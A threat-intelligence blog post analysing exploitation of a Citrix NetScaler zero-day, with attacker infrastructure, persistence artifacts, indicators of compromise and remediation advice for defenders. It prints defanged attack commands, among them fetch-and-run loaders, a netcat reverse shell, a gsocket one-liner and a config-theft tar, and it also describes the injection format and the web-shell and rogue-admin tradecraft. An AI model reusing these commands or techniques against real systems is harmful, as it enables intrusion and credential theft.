Better, Faster, More Cost-Effective – TENEX Leverages AI and Automation to Transform Security Operations

contact us

8586 Potter Park Dr.
Sarasota, FL 34238

What TENEX Observed Inside Active Exploitation of NetScaler Zero-Day

TENEX THREAT INTELLIGENCE TEAM
[email protected]

Published: September 30, 2026

What TENEX Observed Inside Active Exploitation of CVE-2026-88771

A Citrix NetScaler zero-day went from a pre-CVE warning to a public PoC to mass exploitation in under 72 hours. Here's what we watched get delivered, from an off-the-shelf C2 to the scripts and reverse shells that came with it, and how we pivoted through the attacker's infrastructure.

What happened

Two Citrix NetScaler remote-code-execution zero-days went from a private, pre-CVE warning to a public patch and a CISA Known Exploited Vulnerabilities listing in a matter of days. In that same window, we watched an attacker run exploitation attempts against an internet-facing NetScaler, each one pointing at a second stage on a rotating set of servers. We recovered several of those stages from the attacker's servers. Appliance telemetry shows the injection attempts reaching the handler but does not confirm that any commands executed. Either way, patching is not the end of it: an upgrade closes the flaw but does not remove anything an attacker planted before it, so any appliance that was exposed before the upgrade needs a compromise check, not just a patch.

As soon as these NetScaler zero-days surfaced, we started hunting for exploitation attempts across our clients' internet-facing appliances. The activity in this post came out of that hunt. From there, we pulled the thread from those malicious login requests to the operator's build output: one open-source C2 framework compiled for well over a dozen architectures, a four-node server cluster tied together by one certificate, and a signing key shared by every build, no matter how often the hashes change. This is how that investigation went, what we found, and the handful of pivots that did the real work.

What we were looking at

CVE-2026-88771 is about as bad as a perimeter bug gets: improper input validation on the NetScaler ADC/Gateway, no authentication required, no special configuration needed. A default, internet-facing appliance is exposed. Its companion, CVE-2026-88772, is a memory-overflow path that rides in over DTLS, which is on by default for VPN virtual servers. Both scored CVSS 9.5. Both were likely exploited before anyone outside Citrix had a CVE number to point at.

The exploitation we observed, in late September 2026, hit the SAML authentication virtual server on an internet-facing NetScaler Gateway, and the mechanism is worth understanding because it's indirect. Per watchTowr's root-cause analysis, CVE-2026-88771 isn't command execution in the request handler itself. The flaw lives in a NetScaler maintenance script (ns_monuploadd_err.pl) that parses the appliance's own Pitboss log entries and passes text drawn from them into a shell without validating it. So the attack runs in two steps: the attacker submits a crafted value in a pre-authentication login field, the auth endpoint writes it to a log verbatim, and the log-parsing script later executes the command embedded in that logged line. That second step runs on the appliance's own timing, not the attacker's: watchTowr notes the wait can be up to ~24 hours, though it can be forced sooner. So the login being logged and the command executing are two different events, and a logged attempt is not proof the command ran on the appliance.

The crafted value is shaped for that path. It leads with a genuine-looking NetScaler internal log phrase, pitboss PPE unexpectedly died NSPPE, followed by a ;, the attacker's command, and a trailing # to comment out the rest of the line. That prefix does double duty: it makes the entry look like a routine appliance message to an analyst scrolling the auth log, and, because the flaw is in a log parser, it helps the line sit where that parser will read it. Several attempts also swapped spaces for ${IFS}, the shell's internal field separator, so any detection keyed on spaces in the command body sails straight past. Recon logins under the username scanner-probe preceded the injection attempts.

Following the delivery chain

Every exploitation attempt carried the same command: fetch a payload from an attacker server and run it. Then the next attempt used a different server, on a different port, with a different download method, as if the operator was cycling through whatever might stick. In roughly a day, we logged four staging servers, each serving a different payload:

DeliveryPulled fromWhat it is built to do
Shell loader62.133.62[.]80 (path /xd7h/x)The command writes and runs a small loader that chains onward to the Platypus enrollment bootstrap on entretiensol[.]com (see below)
Perl post-exploitation64.94.85[.]67:443 (/update_c08937.pl)Piped straight into perl, so the script is never saved, but what it is built to do is heavily on-disk: a rogue admin account, a hidden web shell, SUID /bin/sh, and theft of the appliance config (below)
Downloaded binary31.56.197[.]72:9090 (lula)A wget of a compiled binary. This host does not tie to the rest of the operator's infrastructure, so we kept it separate rather than assume one hand behind everything
Python stage23.27.143[.]20:9000 (main.py)A reverse shell that hijacks the customsnmpd daemon (below)

The commands themselves were short and interchangeable, one per host, and they carry the same evasion as the auth-field injection: spaces written as ${IFS}, each line closed with a ;# comment tag. The shell-host command writes and runs a loader (curl${IFS}-k${IFS}hxxp://62.133.62[.]80:80/xd7h/x>/.x;sh${IFS}/.x). The Perl-host command pipes the script straight into an interpreter (curl hxxp://64.94.85[.]67:443/update_c08937.pl | perl), so the script is never written to disk. The binary pull was a bare wget hxxp://31.56.197[.]72:9090/lula. And the Python-host command drops and runs /var/1.py (curl${IFS}-o${IFS}/var/1.py${IFS}hxxp://23.27.143[.]20:9000/main.py;python${IFS}/var/1.py).

We also saw a config-theft command that needs no staging host at all. One injected command tars /flash/nsconfig straight to a web-reachable file on the logon portal (tar${IFS}czf${IFS}/var/netscaler/logon/LogonPoint/xua.html${IFS}/flash/nsconfig), staging the archive as xua.html for a plain HTTPS download rather than pushing it out to an attacker server. Same config-theft technique as the Perl stage below, collected a different way.

LevelBlue's SpiderLabs team independently reported these four staging hosts on September 30, along with an analysis of the Perl and Python stages, and their findings on those two stages are consistent with ours. We start with the shell loader instead, because it is the path that led to the C2 agent and the infrastructure behind it.

From the shell loader to the Platypus agent

The shell path leads to the C2 agent, and the chain is worth following because it explains what the operator was reaching for next. The loader pulled from 62.133.62[.]80 did little on its own. It reached back to the operator's server (entretiensol[.]com) for the real enrollment bootstrap, and that bootstrap is a tidy piece of engineering. It forces an insecure TLS download (certificate checks deliberately turned off), fingerprints the host across more than a dozen OS/architecture combinations, downloads the matching agent build from the operator's artifact endpoint, and launches it with the server address and a one-time install token that burns on first use. It carries the operator's own CA certificates inline, and on a NetScaler it deliberately picks appliance-flavored install paths: /netscaler.local/ for the binary and /var/core/.ns-cache/ for its working data, so the dropped files read as part of the appliance. This is also why the agent binary has no C2 address inside it: the bootstrap carries the server and the token, and the binary is just the generic framework.

Header of the recovered Platypus enrollment bootstrap
Figure 1. The header of the recovered Platypus enrollment bootstrap. It carries the C2 host, the appliance-style filename and directories the agent is installed under, and the operator's CA certificate, with the one-time install token redacted.

The payload: an off-the-shelf C2

The payload was off-the-shelf, not custom-written. It was Platypus, a publicly available Go command-and-control framework. On a NetScaler, it arrives renamed to look like a stock appliance Perl script (ns_*.pl) in a directory made to resemble the appliance's own layout, close enough to survive a glance at a directory listing.

The first surprise came from inside the binary: it has no command-and-control address. We scanned the whole thing: no operator URLs, no host:port pairs, nothing. The server is handed to the agent at install time, by the delivery script. That's an important structural fact for anyone hunting this: the infrastructure lives in the dropper and the install token, not in the binary.

The binary does give you a set of clean network fingerprints: a distinctive enrollment content type, a WebSocket tasking channel wrapped in mutual TLS, and a multicast-DNS service the agent uses to find its neighbors on the local network. If another host on the segment is also infected, that mDNS traffic is the easiest way to find it: the agent multicasts a distinctive _platypus-mesh._tcp service across the whole segment over UDP/5353 in cleartext, so a sensor on that VLAN (a span port, or a quick tcpdump udp port 5353) picks it up without you logging into any appliance.

Where the pivots paid off

File hashes didn't get us far: the operator rebuilt the agent between our two samples, so any single hash is short-lived. The durable leads came from artifacts they can't cheaply change.

One certificate unfolded the whole cluster

We started with a single suspicious C2 address. It was serving a self-signed TLS certificate with a giveaway identity: subject platypus-ingress, issuer "Platypus project default." Pivoting on that certificate's SHA-256 fingerprint turned one IP into four: all four command-and-control nodes presented the same certificate. That was the cluster, mapped in a single query. The certificate had more in it:

  • Its subject-alternative-name list carried a set of aged, innocuous-sounding domains. We assess with moderate confidence that they are operator-associated; a SAN entry alone does not prove control of a domain.
  • A shared JARM fingerprint across the four nodes corroborated that they're one purpose-built cluster, not a coincidence of reused certs.
  • The SPKI (public-key) hash is a sturdier pivot than the cert fingerprint: it survives the operator reissuing the certificate, as long as they reuse the key pair. Fingerprints change on reissue; the key underneath usually doesn't.
  • The CA's authority-key identifier pivots to any certificate that same internal CA signed. Stand up a fresh cluster with a new cert but reuse the CA, and it still ties back to the same operator.
  • The framework's distinctive platypus://server/default URI, embedded in the cert, is another string to hunt for beyond the exact hash.

The certificate isn't the only pivot that outlasts a rebuild. The embedded signing key, the operator's own code-signing key that every build uses to verify its updates, is present in every one of the agent builds, identical across Windows, Linux, FreeBSD, and every architecture in the set, and it survives repacking (the key itself is in Appendix A). The one-time install token the bootstrap carries is another, useful to anyone with hosting- or proxy-layer visibility. Together, these outlive any amount of malware rebuilding: when the adversary can regenerate hashes at will, they're what you track them by.

The Python and Perl stages

The Python stage: a reverse shell wearing a NetScaler daemon's name

We recovered the Python second stage that 23.27.143[.]20:9000 was serving and dissected it. One caveat: appliance logs show the attempts reaching the handler, not whether the commands executed. It doesn't drop a generic backdoor into a temp directory. It overwrites a legitimately named appliance component, /var/python/bin/customsnmpd, a NetScaler SNMP sub-agent path under the appliance's own Python directory, replacing it with a short reverse shell that calls home to 45.141.21[.]130 on port 443, then kills the running customsnmpd process so the appliance's own service management restarts it as the trojanized version. In a few lines, it reaches for all three things an attacker wants at once: a trusted name (masquerade), a call-back (execution), and a process the appliance itself keeps alive (persistence). Nothing new has to be scheduled or registered. It hijacks something the appliance already runs and restarts on its own. Hunting for new files or new services won't catch this, because nothing new is created. A trusted component is replaced in place, so you have to verify the integrity of what already exists.

The recovered main.py Python stage
Figure 2. The recovered main.py Python stage. It overwrites the NetScaler customsnmpd daemon (/var/python/bin/customsnmpd) with a reverse shell to the operator's server on port 443, then kills the running process so the appliance's service management restarts the trojanized version.

The Perl stage: a rogue admin, a hidden web shell, and the config out the door

We recovered the Perl stage in full. It plants several independent footholds rather than relying on a single one. It's piped straight into perl, so the script never persists as a file, but what it's built to do leaves clear artifacts on disk. It does the following things:

  • A rogue superuser, written into the saved config: It adds a NetScaler system account named sec_monitor, a deliberately dull, monitoring-sounding name, bound to the superuser policy, with a correctly-formatted NetScaler encrypted password (PBKDF2-HMAC-SHA256, 2,500 iterations). It strips any earlier copy of the same account first, so re-runs stay tidy. Because it goes into /flash/nsconfig/ns.conf, it survives reboot, and in fact needs one to activate.
  • Config exfiltration: It tars /flash/nsconfig and POSTs the archive back to the same staging host (64.94.85[.]67). That directory is the appliance's crown jewels, the running configuration and its secrets. Even where those are encrypted, a successful run would hand the attacker the appliance's entire structure, bindings, and material to work against offline.
  • SUID /bin/sh: It sets the setuid bit on the shell (chmod 6555 /bin/sh), leaving a simple path to a root shell that persists after the other footholds are gone.
  • A web shell hidden on the logon portal: It writes a password-protected PHP web shell to /var/netscaler/logon/LogonPoint/.local_journal, then edits the appliance's own web-server config (/etc/httpd.conf) to do two things: execute that .local_journal file as PHP, and alias it behind a legitimate-looking stylesheet URL on the Citrix logon page, /logon/LogonPoint/css/LogonUISimple.html.style.min.css, plus a versioned regex variant. It flips the PHP engine on and reloads the web server. An operator can then browse to what looks like a CSS file on the appliance's own login portal and reach a login-gated panel with command execution, file upload, and file download, over the same HTTPS and trusted path real users authenticate through.

The web shell is a single PHP file, and the recovered code shows exactly what the operator gets. The login is a blank dark page with one password field and a page title of just a period, and the script compares a SHA-256 hash of whatever is submitted against a value stored in the file. Behind it is a two-panel console (Figure 3). One panel runs whatever is typed through the appliance's shell and returns the output. The other handles file transfer: upload a file to any path the operator names, or download any file by path.

The web shell console rendered from recovered code
Figure 3. The console behind the login, rendered from the recovered web shell code. It offers command execution and file upload and download, with no Citrix branding.

That web-shell-via-httpd.conf-alias pattern, the SUID /bin/sh, the config theft: this is the same class of NetScaler post-exploitation tradecraft public reporting attributes to the wider campaign. What's notable here is the redundancy: a rogue admin, a SUID shell, a web shell on the logon page, and the Platypus agent from the other delivery path. That is up to four independent footholds, if the stages are executed.

This is also where "patch is not eradication" stops being a slogan. Upgrading the firmware closes CVE-2026-88771. If the Perl stage ran, the upgrade does not remove sec_monitor from the config, un-SUID /bin/sh, delete .local_journal, or undo the httpd.conf alias. Each is a specific, greppable artifact (Appendix A), and each must be hunted down and removed by hand.

The delivery style stayed constant while the hosts kept changing, which is the practical lesson: chasing individual staging IPs is a losing game. The durable detections are the injection pattern against the authentication service and the artifacts each stage leaves behind: the trojanized daemon, the appliance-path drops, not any single address.

How a public PoC widened the blast radius

Exploitation was underway before this ever had a CVE number, just not yet at scale. Credible reports were already circulating publicly before the vendor acknowledged anything. The public PoC changed the scale. That PoC came from watchTowr, which published a root-cause analysis and a working proof-of-concept for CVE-2026-88771, released as a "Detection Artifact Generator," with a companion tool following for CVE-2026-88772. Whatever you think of the naming, the effect on the threat landscape was immediate.

Timeline of the CVE-2026-88771 and CVE-2026-88772 exploitation and disclosure chain
Figure 4. Timeline of the CVE-2026-88771 and CVE-2026-88772 exploitation and disclosure chain, from pre-disclosure activity through the public PoC to mass exploitation, with TENEX's response shown in parallel. TENEX's observation focused specifically on CVE-2026-88771 exploitation.

Security researchers recorded live exploitation attempts within minutes of the PoC going out, and the activity shifted from stealthy, targeted intrusions into internet-wide "spray and pray" scanning for any exposed, unpatched appliance. CISA reported active exploitation globally, and both CVEs sit in its Known Exploited Vulnerabilities catalog. Palo Alto Networks' Cortex Xpanse counted over 50,000 exposed instances potentially in range. Mandiant documented the same post-exploitation pattern: PHP web shells on the appliance, a tunneler reaching into the internal network, and credential theft.

So there are two clocks running at once. One is the operator we tracked, rebuilding their C2 agent as the patch went out. The other is everyone else, mass-scanning off a public PoC the moment it dropped. A perimeter appliance that stayed unpatched for even a short window after September 27 was exposed to both.

The opportunists arrive

After the PoC went public, our monitoring picked up a very different kind of traffic over the same CVE-2026-88771 path, and it looked nothing like the operator we had been tracking. The Platypus chain was patient and appliance-aware: staged loaders, a renamed agent, a trojanized daemon. The wave that followed was loud and generic, whatever was easy to paste into the login field the flaw abuses.

Inside a single morning we logged plain check-in requests to fresh infrastructure (199.233.217[.]13, 130.94.20[.]222), a one-line pull of the Global Socket Toolkit straight from gsocket[.]io, a bare netcat reverse shell (nc 199.233.217[.]13 8000 -e /bin/sh), and recon that wrote the output of id to a web-readable path to confirm code execution over HTTPS. None of it touches the Platypus certificate, signing key, or staging cluster. It is commodity tooling in commodity hands.

Once a working PoC is public, an exposed appliance stops having one attacker and starts having several: the disciplined operator and the opportunist land in one auth log, hours apart, through the login field the same flaw exposes. That is the clearest argument we have for why the patch window matters in hours, not days.

What the binary told us about the operator's reach

Platypus is cross-platform, and the bootstrap picks the build from the host's own OS and architecture, so on a NetScaler it asks the operator's server for the FreeBSD one. That build is not a stripped-down agent: the persistence code (systemd, cron, autostart, and a self-respawning watchdog) is compiled into it just as it is into the Linux builds. The one capability that is genuinely Linux-only, and absent from the FreeBSD build, is kernel-level privilege escalation, which matters only if the operator pivots onto an internal Linux host. On the appliance, the systemd and desktop-autostart methods target mechanisms FreeBSD doesn't have, so those particular paths have nothing to hook.

What matters on the appliance is eradication. A NetScaler firmware upgrade preserves configuration and persistent storage, so an upgrade is not eradication. If the agent enrolled before the patch, its working files, including the client certificate and key it writes on successful enrollment, survive the upgrade. An appliance being on the fixed build tells you it was patched, not that it's clean. The presence of that client certificate and key is the closest thing on disk to a yes/no answer for whether the Platypus agent actually enrolled.

Attribution

We're not attributing this to a named actor, and so far neither is anyone else. No vendor or government source has put a name to the CVE-2026-88771/88772 activity. The tooling we recovered doesn't point to anyone either way, since Platypus is a public, off-the-shelf framework anyone can run, so finding it says nothing about who was holding it. What we can say is narrow and concrete: a hands-on operator delivering a known C2 through a rotating staging chain, with the infrastructure and pivots laid out in the appendix.

How TENEX responded

The work began the moment these zero-days surfaced, not when a write-up was ready. It went straight into our operations, starting on the intel side. Our Threat Intelligence team formed the initial hunt hypothesis, and that hunt is what surfaced the exploitation activity in a customer environment in the first place. Pivoting from what it found, it then uncovered additional threat-actor infrastructure: the four-node C2 cluster and the operator domains tied to it. What began as a hypothesis became the map of the operator's footprint you've just read.

From there, it moved across the rest of our operations. Our SOC has been monitoring customer environments around the clock for the exploitation attempts and follow-on activity described here. Our Detection Engineering team built and deployed detection coverage for the CVE-2026-88771 exploitation pattern and the delivery behavior behind it, so attempts against a monitored appliance surface as alerts rather than disappear into log noise. And our Threat Hunting team ran proactive hunts across customer telemetry for the full artifact set (the appliance-side drops, the C2 cluster, the network fingerprints) to catch any foothold that predates a patch. When a customer forwards telemetry for us to review, we watch; when we find evidence of impact, we investigate and reach out directly.

What defenders should do now

Patch now. Upgrade every internet-facing NetScaler ADC/Gateway to a fixed build: 14.1-73.37, 13.1-64.23, 14.1-73.37 FIPS, or 13.1-FIPS/NDcPP 13.1-37.279 (or later). One upgrade closes all eight CVEs in Citrix's bulletin. Two upgrade gotchas Citrix flags:

  • Fixed builds reject unsigned SAML assertions. Confirm your identity provider signs assertions before upgrading, or logins will fail afterward.
  • On the 13.1 branch, check for the known reboot-loop condition before moving to 13.1-64.23; if affected, plan for the follow-up build and disable DTLS in the interim.

If you can't patch immediately, disable DTLS on VPN virtual servers to close the CVE-2026-88772 path (you remain exposed to CVE-2026-88771), and restrict who can reach the gateway.

Patching is not eradication. If an appliance was internet-facing and unpatched, assume it may be compromised and work through these checks before clearing it:

  • Check /var/core/.ns-cache/ for a client certificate and key (the sign the agent enrolled), and /netscaler.local/ for a ns_*.pl file that isn't a real appliance script.
  • Verify the integrity of appliance components an attacker could masquerade as, customsnmpd above all.
  • Check for the Perl stage's footholds: a sec_monitor account in ns.conf, a setuid /bin/sh, a .local_journal file or other unexpected files under LogonPoint/, and handler or alias changes in /etc/httpd.conf (Appendix A).
  • Check the appliance's crontab for entries you didn't add; the agent can persist through scheduled jobs.
  • Run Citrix's IoC scan (NetScaler Console), but treat a clean result as inconclusive, not exoneration. The Console can also briefly misflag freshly-patched 13.1-64.23 builds as still vulnerable, so confirm the build number before treating a "vulnerable" verdict on that build as a real finding.
  • Rotate every secret the appliance could reach, and do it after you're on a fixed build (rotating before you patch just hands the new secrets to an attacker who still has access): the admin password and any local appliance accounts; SSH keys; TLS certificates and their private keys; the SAML/IdP signing trust; LDAP bind accounts; RADIUS and TACACS shared secrets; SNMP community strings; and NITRO/API credentials. Then revoke active sessions, including live VPN and ICA/HDX sessions. An appliance terminating SAML for your identity provider is a high-value credential position; that, not the malware, is the real damage.
  • Watch the appliance's local network segment for the agent's mDNS mesh announcement, which is your best shot at finding a second compromised host.

Appendix A: Indicators of Compromise

TypeIndicatorContext
Domainentretiensol[.]comPrimary Platypus C2; resolves to 195.123.233[.]245
IPv4195.123.233[.]245Primary C2 node (443)
IPv438.180.81[.]157C2 node; shares the cluster certificate
IPv495.133.231[.]109C2 node; shares the cluster certificate
IPv4104.200.67[.]56C2 node; shares the cluster certificate
Domainwhite-guard[.]proResolves to the primary C2 node
Domaingaryvard[.]comListed in the cluster certificate SANs; assessed operator-associated (moderate confidence), since a SAN entry alone does not prove control
Domainhickoryusedauto[.]comListed in the cluster certificate SANs; assessed operator-associated (moderate confidence), since a SAN entry alone does not prove control
Domaingurerasfalt[.]comListed in the cluster certificate SANs; assessed operator-associated (moderate confidence), since a SAN entry alone does not prove control
Domainrockinroyaltykids[.]comListed in the cluster certificate SANs; assessed operator-associated (moderate confidence), since a SAN entry alone does not prove control
Domaincurrydownsrvpark[.]comListed in the cluster certificate SANs; assessed operator-associated (moderate confidence), since a SAN entry alone does not prove control; no active resolution observed
TLS cert SHA-25638b7c597c3f33f2caa2b2de9873f15cf9cb9984b0eacb801ef4b654a96ba9bd0Shared cluster cert (subject platypus-ingress, issuer "Platypus project default", serial 5); ties the four nodes together
Cert URI SANplatypus://server/defaultFramework certificate identity scheme; regex-huntable beyond the exact fingerprint
IPv462.133.62[.]80Staging host; shell second-stage (bootstrap to Platypus agent)
IPv464.94.85[.]67Staging host; in-memory Perl second-stage and config-exfil destination
IPv423.27.143[.]20Staging host (port 9000); Python second-stage (the customsnmpd reverse shell)
IPv431.56.197[.]72Staging host (port 9090), payload lula; separate and unattributed, not tied to the Platypus cluster
IPv445.141.21[.]130Call-back address for the customsnmpd reverse shell (443)
Usernamescanner-probeSubmitted to the auth virtual server for reconnaissance, immediately before the injection attempts
String (auth log)pitboss PPE unexpectedly died NSPPEStatic prefix leading the injected value; hunt auth logs for this phrase in a username/login field
Technique${IFS}Shell internal field separator used in place of spaces to defeat space-based detection
Stringtrailing ;# NSX<hex> or ;# XComment appended to the injected command as a per-attempt marker
Commandcurl${IFS}-k${IFS}hxxp://62.133.62[.]80:80/xd7h/x>/.x;sh${IFS}/.xShell loader: writes /.x, then runs it
Commandwget hxxp://31.56.197[.]72:9090/lulalula binary retrieval (unattributed host)
Commandcurl hxxp://64.94.85[.]67:443/update_c08937.pl | perlIn-memory Perl post-exploitation retrieval
Commandcurl${IFS}-o${IFS}/var/1.py${IFS}hxxp://23.27.143[.]20:9000/main.py;python${IFS}/var/1.pyPython reverse-shell retrieval; drops and runs /var/1.py
Commandtar${IFS}czf${IFS}/var/netscaler/logon/LogonPoint/xua.html${IFS}/flash/nsconfigConfig theft: tars /flash/nsconfig to a web-reachable file on the logon portal for HTTPS download
File path/var/netscaler/logon/LogonPoint/xua.html/flash/nsconfig tarball staged under the logon portal for download; hunt for unexpected files in LogonPoint/
File path/.x, /var/1.pyDropped stager paths, written and executed by the shell and Python second-stage commands
Signing keyS8GEj/Ibzw/Zy9Z5u4saQyn0h59enf9Mk3J2m70tTMs=Ed25519/minisign public key embedded in every build; gates self-upgrade/plugins; best cross-build pivot
Build fingerprint0.1.0-SNAPSHOT-4b91c7dbNewer build, compiled 2026-09-28 and collected that night
Build fingerprint0.1.0-SNAPSHOT-697ffe7cEarlier build, compiled 2026-09-08, same operator signing key
Network fingerprintPOST /api/v1/agents/enroll + Content-Type: application/x-protobuf-platypus-v2Agent enrollment; the content type is highly distinctive
Network fingerprint/api/v1/agent/link (WebSocket, mutual TLS)Agent tasking channel
Network fingerprint_platypus-mesh._tcp (mDNS, UDP/5353)LAN peer discovery; best signal for a second infected host on a segment
Network fingerprintplatypus-agent/public-ip-probe (User-Agent)Agent public-IP probe
File path/netscaler.local/Operator-created binary directory; not part of the stock NetScaler layout
Filenamens_*.plAgent renamed as a NetScaler-style Perl script; the number is per-install, so hunt the pattern
File path/var/core/.ns-cache/ (client.crt, client.key, agent.lock, state.db)Agent working directory; cert + key present only if enrollment completed
File (integrity)/var/python/bin/customsnmpdNetScaler SNMP sub-agent path; the Python stage overwrites it with a reverse shell; verify integrity
Rogue accountsec_monitorNetScaler superuser added by the Perl stage; hunt ns.conf for add system user sec_monitor / bind system user sec_monitor superuser
Web shell/var/netscaler/logon/LogonPoint/.local_journalPassword-gated PHP web shell (command exec + file upload/download) dropped by the Perl stage
Web shell URL/logon/LogonPoint/css/LogonUISimple.html.style.min.css (+ ...style.min.<hex>.css)Legitimate-looking stylesheet URL on the logon portal aliased to the web shell
Config (integrity)/etc/httpd.conf: SetHandler application/x-httpd-php on .local_journalPerl stage's httpd.conf edit that makes the web shell execute as PHP; also flips php_flag engine on
File (integrity)/bin/sh mode 06555 (SUID)Setuid bit set by the Perl stage for on-demand root
File path/tmp/update_result_3567cs.tgz/flash/nsconfig tarred and POSTed to 64.94.85[.]67 by the Perl stage
Decoy names (Linux)system-health, system-health-metrics, health-monitor, sys-health, node-health, healthdDo not alert on name alone (they collide with legitimate monitoring); pair with a ~19 MB static Go binary and a matching service unit. Not applicable to the FreeBSD appliance
SHA-256c98aee75c5e199c9b5527984ce48675d665963f7cab8ce9f2e82465de6b58727Agent, freebsd/amd64 (the appliance-relevant platform)
SHA-25689b64bd45478e53299f9c422cbba40fac3ac0712b551b85185e38203f7f984c6Agent, linux/amd64 (current build)
SHA-256be5832f3993ff63a36100b2f7b89c8d385e20dd9d72876700e7ade9fb9e6d4cbAgent, UPX-packed Linux x86-64 ELF; earlier build (2026-09-08, 697ffe7c), same operator signing key
SHA-2560dcac605a3a0c37001552369a6a77003226b35ddee7710b554fcd0e6809a76d1Agent, windows/amd64
SHA-25604db3fc44c81886844ef47949d7f352953a6bf1be4866be1fb3e7e12c452e3acAgent, darwin/arm64
SHA-2562d2c2f6842982f7e1cb894ce915d39f2a9861009c7ecb1b90da803f2c3c608f4Agent, linux/amd64 unpacked (more stable than the packed hashes)
IPv4199.233.217[.]13Opportunistic wave (unattributed): Check-in over TCP/8080 (/hi, /hi/<ip>) and a netcat reverse shell over TCP/8000
IPv4130.94.20[.]222Opportunistic wave (unattributed): Silent beacon to :8888/c/<hex>
Domaingsocket[.]ioOpportunistic wave (unattributed): Global Socket Toolkit retrieval (hxxps://gsocket[.]io/y); a legitimate service abused for reverse-shell/C2
Commandbash -c $(curl -fsSL hxxps://gsocket[.]io/y) (with an S=<hex> key)Opportunistic wave (unattributed): One-line Global Socket Toolkit deploy; the S= value is the gsocket secret
Commandnc 199.233.217[.]13 8000 -e /bin/shOpportunistic wave (unattributed): Netcat reverse shell
Commandcurl hxxp://199.233.217[.]13:8080/hi/Opportunistic wave (unattributed): Attacker check-in to fresh infrastructure
Commandcurl -m 8 -sk hxxp://130.94.20[.]222:8888/c/<hex> -o /dev/nullOpportunistic wave (unattributed): Silent beacon; confirms reachability without saving output
Reconwhoami; id>/netscaler/ns_gui/vpn/id009.txt; id>/netscaler/ns_gui/id009.txtOpportunistic wave (unattributed): Execution check; writes id output to a web-readable appliance path to confirm RCE over HTTPS

Appendix B: MITRE ATT&CK

IDTacticTechniqueContext
T1190Initial AccessExploit Public-Facing ApplicationObserved attempt: CVE-2026-88771 exploitation attempts against the NetScaler Gateway authentication service, pre-authentication
T1059.004ExecutionUnix ShellObserved attempt: injected shell commands, logged at the authentication service, to fetch and run a payload on the appliance (on-appliance execution not confirmed)
T1105Command and ControlIngress Tool TransferObserved attempt: injected curl and wget commands pulling a payload from rotating staging hosts
T1571Command and ControlNon-Standard PortObserved attempt: payload retrieval on ports 9000 and 9090.
T1036.005Defense EvasionMatch Legitimate Resource Name or LocationRecovered scripts: the bootstrap installs the agent as ns_*.pl under /netscaler.local/; the Python stage is built to overwrite the customsnmpd daemon; the Perl stage aliases its web shell under a logon-page CSS URL
T1036.010Defense EvasionMasquerade Account NameRecovered script: the Perl stage is built to name its rogue superuser sec_monitor so it passes as a monitoring account
T1136.001PersistenceCreate Account: Local AccountRecovered script: the Perl stage is built to add a rogue sec_monitor superuser to the saved config
T1505.003PersistenceServer Software Component: Web ShellRecovered script: the Perl stage is built to write a PHP web shell to .local_journal and alias it via httpd.conf under the logon portal
T1560.001CollectionArchive Collected Data: Archive via UtilityObserved attempt: an injected command tarring /flash/nsconfig into the logon portal as xua.html. Recovered script: the Perl stage is built to tar the same directory before sending it out
T1048.003ExfiltrationExfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 ProtocolRecovered script: the Perl stage is built to POST the /flash/nsconfig archive over plain HTTP to its staging host 64.94.85[.]67, not over the Platypus C2 channel
T1071.001Command and ControlWeb ProtocolsAgent capability: enrollment over HTTPS and WebSocket tasking
T1573.002Command and ControlAsymmetric CryptographyAgent capability: mutual-TLS C2 with a client certificate; platypus:// cert URI SANs
T1046DiscoveryNetwork Service DiscoveryAgent capability: mDNS _platypus-mesh._tcp LAN peer discovery
T1027.002Defense EvasionSoftware PackingAgent capability: builds are distributed UPX-packed, except the FreeBSD build, which is not packed
T1070.006Defense EvasionTimestompRecovered script: the bootstrap copies a reference file's timestamp onto the dropped binary. Agent capability: a timestomp routine
T1543.002PersistenceSystemd ServiceAgent capability: self-persistence via a decoy-named systemd unit, compiled into every build including FreeBSD; a NetScaler has no systemd for it to attach to
T1053.003PersistenceCronAgent capability: cron-based persistence fallback, compiled into every build including FreeBSD; whether it runs on the appliance is unconfirmed
T1068Privilege EscalationExploitation for Privilege EscalationAgent capability: kernel-exploit privilege-escalation package, compiled into the Linux builds only; does not run on the FreeBSD appliance
T1548.001Privilege EscalationSetuid and SetgidRecovered script: the Perl stage is built to set the SUID bit on /bin/sh (chmod 6555); not confirmed on the appliance. Agent capability: SUID-overwrite routines in the Linux builds

Sources

  1. Citrix, "NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2026-88771 through CVE-2026-88778 (CTX697096)", 2026-09-27, community.citrix.com
  2. CISA, "Known Exploited Vulnerabilities Catalog" (CVE-2026-88771 and CVE-2026-88772 added 2026-09-27), 2026-09-27, cisa.gov
  3. watchTowr, public statement on X (NetScaler zero-day reports are credible; clients warned, before public disclosure), 2026-09-26, x.com
  4. watchTowr Labs, "Oh Look, The Foot Gun Went Off Again" (CVE-2026-88771 root-cause analysis), 2026-09-28, labs.watchtowr.com
  5. watchTowr, "Citrix NetScaler Zero-Day RCE FAQ: CVE-2026-88771 and CVE-2026-88772", watchtowr.com
  6. watchTowr Labs, "watchTowr-vs-Citrix-NetScaler public detection and PoC tooling", github.com
  7. Palo Alto Networks Unit 42, "Threat Brief: NetScaler Zero Days CVE-2026-88771 and CVE-2026-88772 Exploited in the Wild", unit42.paloaltonetworks.com
  8. Google Threat Intelligence Group / Mandiant, "Defending Against Active Exploitation of Citrix NetScaler ADC and Gateway Appliances" (exploitation since at least early September), 2026-09-29, cloud.google.com
  9. GreyNoise, "Swarming Against Citrix 0-Day Exploitation" (First seen by GreyNoise, before public disclosure), greynoise.io
  10. Cybersecurity Dive, "Citrix NetScaler exploitation began days before public notification", cybersecuritydive.com
  11. Help Net Security, "NetScaler zero-day exploitation escalates into mass attacks (CVE-2026-88771)", 2026-09-29, helpnetsecurity.com
  12. LevelBlue SpiderLabs, "Citrix NetScaler CVE-2026-88771: Observed Exploitation Artifacts and Hunt Indicators" (staging hosts and Perl and Python stage analysis), 2026-09-30, levelblue.com

The information provided in this blog is for educational and informational purposes only and does not constitute formal professional advice. While we strive for accuracy, TENEX makes no representations or warranties of any kind, express or implied, regarding the completeness, accuracy, reliability, or suitability of this information. Any reliance you place on such material is strictly at your own risk, and we disclaim all liability for any loss or damage arising from its use.

Keep Up with TENEX.AI

Press Releases and Company News

What TENEX Observed Inside Active Exploitation of NetScaler Zero-Day

TENEX THREAT INTELLIGENCE TEAM [email protected] Published: September 30, 2026 What TENEX...

Who Watches the Agents? NVIDIA OpenShell and the SOC

By Venkata Koppaka, Co-Founder and CTO, TENEX.ai NVIDIA invited TENEX.ai to participate in the...

